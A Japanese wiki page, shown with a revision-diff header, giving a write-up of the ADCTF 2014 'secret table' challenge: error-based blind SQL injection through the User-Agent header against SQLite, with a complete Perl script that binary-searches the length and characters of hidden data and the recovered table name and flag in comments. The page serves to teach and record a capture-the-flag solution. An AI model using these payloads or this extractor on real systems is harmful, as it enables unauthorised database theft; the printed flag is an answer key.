⇤ ← 2014-12-14 00:49:56時点のリビジョン1
サイズ: 3298
コメント:
|
← 2014-12-14 01:08:36時点のリビジョン2 ⇥
サイズ: 3399
コメント:
|
削除された箇所はこのように表示されます。 | 追加された箇所はこのように表示されます。 |
行 43: | 行 43: |
# https://twitter.com/akiym/status/543794771018276865 # > sleep a few seconds, plz :) sleeping is awesome and don't be evil hacker! # yes, sir! sleep 2; |
|
行 52: | 行 57: |
# assume: SELECT * FROM user WHERE user='$user' AND password='$password' |
secret table
問題
Yes, you can do sqli. Find our secret table and get the flag. Sorry, I'm missing source code.
secrettable.adctf2014.katsudon.org
メモ
解法
エラーベースのブラインドSQLインジェクション。ユーザエージェントに徐ろに' or ... -- を流し込む。 エラーはゼロ除算で作り出す。SQLiteでは真偽値が0,1なので,判定式の結果で除算すれば良い。
次の操作で文字列を特定する。
- 長さについて,半開区間[1, ∞)の探索を行う。区間を倍に増やしながら上の値を見つけて,その後に二分探索を行う。
- それぞれの文字を二分探索で特定する。hexが便利。
1 #!/usr/bin/perl
2 use strict;
3 use warnings;
4 my $url = "http://secrettable.adctf2014.katsudon.org/";
5
6 # my $target = "(select tbl_name from sqlite_master where type=='table' LIMIT 1,1)";
7 # => super_secret_flag__Ds7KLcV9
8
9 # my $target = "(select sql from sqlite_master where type=='table' LIMIT 1,1)";
10 # => CREATE TABLE super_secret_flag__Ds7KLcV9 (yo_yo_you_are_enjoying_blind_sqli TEXT)
11
12 my $target = "(select yo_yo_you_are_enjoying_blind_sqli from super_secret_flag__Ds7KLcV9 LIMIT 0,1)";
13 # => ADCTF_ERR0r_hELP5_8L1nd_5Ql1
14
15 sub system_pipe {
16 my @args = @_;
17 open my $pipe, "-|", @args or return;
18 my @result = <$pipe>;
19 join "", @result;
20 }
21
22 sub try_access {
23 my $ua = shift;
24 #print "$ua\n";
25
26 # https://twitter.com/akiym/status/543794771018276865
27 # > sleep a few seconds, plz :) sleeping is awesome and don't be evil hacker!
28 # yes, sir!
29 sleep 2;
30
31 my $result = system_pipe "curl", "-s", "-A", $ua, $url;
32 if ($result =~ /secret table/) {
33 # non error
34 return 1;
35 } else {
36 return 0;
37 }
38 }
39
40 sub is_char_greater_than {
41 my $i = int shift;
42 my $c = int shift;
43 my $chex = sprintf "%02X", $c;
44
45 print "? string[$i] > $c\n";
46
47 my $successed = try_access(
48 "' or 1/(hex(substr($target, $i, 1)) > '$chex')) -- "
49 );
50
51 return $successed;
52 }
53
54 sub is_length_greater_than {
55 my $length = int(shift);
56
57 print "? length > $length\n";
58
59 my $successed = try_access(
60 "' or 1/(length($target) > $length)) -- "
61 );
62
63 return $successed;
64 }
65
66 # [left, right]
67 sub binsearch {
68 my $left = shift;
69 my $right = shift;
70 my $cond_greater_than = shift;
71 while ($left < $right) {
72 my $mid = int(($left+$right)/2);
73 if ($cond_greater_than->($mid)) {
74 $left = $mid + 1;
75 } else {
76 $right = $mid;
77 }
78 }
79 if ($left > $right) { return undef; }
80 else { return $left; }
81 }
82 # [left, infinity)
83 sub binsearch_halfopen {
84 my $left = shift;
85 my $cond_greater_than = shift;
86 my $right = $left;
87 while ($cond_greater_than->($right)) {
88 $left = $right + 1;
89 $right *= 2;
90 }
91 return binsearch($left, $right, $cond_greater_than);
92 }
93
94 my $length = binsearch_halfopen(1, \&is_length_greater_than);
95 die unless defined $length;
96 print "length: $length\n";
97
98 my $s = "";
99 for my $i (1..$length) {
100 my $c = binsearch(0x00, 0xff, sub { is_char_greater_than($i, shift) });
101 die unless defined $c;
102 $s .= chr($c);
103 }
104 print "string: $s\n";